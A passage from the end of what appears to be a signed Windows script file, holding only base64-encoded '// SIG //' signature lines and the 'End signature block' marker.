// SIG // qsrLLbooJS9Nzi7ssD1B4xts8k7BAMgINsgZCCvQyaDo
// SIG // enCSo04s0XM/K0mQ99MlZi1v0wdXIY3oQAmx4lf4a4wi
// SIG // biNJlJKg/l8qWzK3EcDk6uqYRQWBS5kiQemtzQXJ46Qp
// SIG // qJ8f6FwmjS3nzpW2EfFOoM94W14qsDR/Z6VGZjueMpcO
// SIG // LQcszzM1J7VT0wrReF5zXgSzGk5U7insICHkkyIumKzO
// SIG // z8NoUpvfqQyeNsGilYjoA9cgqP+TDFTWK4KJz6JcIIDP
// SIG // /JigyyMBTOj+bj4ttHG45OkVPcM/8migEV4BA1p7UeWm
// SIG // bwVnvQSsV75em0ww2yDfyLU5yWD307muIFLFhOkI/uPj
// SIG // +v7FLRbfH954ps8G5WBRMi1V181x6/sletv1nziqWGeR
// SIG // T4Wuff2SoTGn652DEyvvDBlvM9PJBmqr4tli5/L4mfpf
// SIG // MyTcVtpc6jPUHbK0la0j0d3Ef7DpzJQF0dydDt/M8MHq
// SIG // DQImGAd5flrWtxMYbuEJpM7kiCCxZVr1ZnrOBkwX/pIB
// SIG // Fio5czn5n1dSnkbLfpOu3wRsLl/3Yo5yJ6WB7WOUqP12
// SIG // TPJ/h53CPQ==
// SIG // End signature block